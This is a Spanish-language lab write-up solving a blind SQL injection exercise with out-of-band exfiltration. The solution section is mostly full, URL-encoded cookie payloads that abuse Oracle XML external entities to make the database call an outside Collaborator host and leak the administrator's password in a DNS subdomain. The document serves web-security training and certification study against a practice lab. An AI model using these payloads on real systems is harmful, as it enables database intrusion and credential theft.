Entrada

SQLI Lab 17

SQLI Lab 17

Skills

  • Blind SQL injection with out-of-band data exfiltration

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una Blind SQL Inyection, la aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar interacciones out-of-band con un dominio externo. La base de datos contiene una tabla diferente llamada users, con columnas llamadas username y password. Hay que explotar la Blind SQL Inyection para descubrir la contraseña del usuario administrador e iniciar sesión como el usuario administrador


Resolución

Al acceder a la web nos sale esto

Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId, probando los payload de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- - 

Antes de enviar la petición debemos hacer click en Collaborator > Copy to clipboard. El subdominio copiado lo sustituimos por el campo BURP-COLLABORATOR-SUBDOMAIN

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Una vez hecho esto debemos urlencodear el payload y enviar la petición

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now nos llegarán las peticiones a nuestro servidor

Una vez comprobada la vulnerabilidad vamos a usar este payload para poder hacer consultas a la base de datos

1
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Adaptamos el payload y lo enviamos

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+username+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now, vemos que como subdominio se está enviando el output de la query

Enviamos el siguiente payload para obtener la contraseña del usuario administrador

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(select+password+from+users+where+username='administrator')||'.dyfeetuao1j68ybs1s9l6ajsajga44st.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Obtenemos la contraseña del usuario administrador

Nos logueamos como usuario administrador

Esta entrada está licenciada bajo CC BY 4.0 por el autor.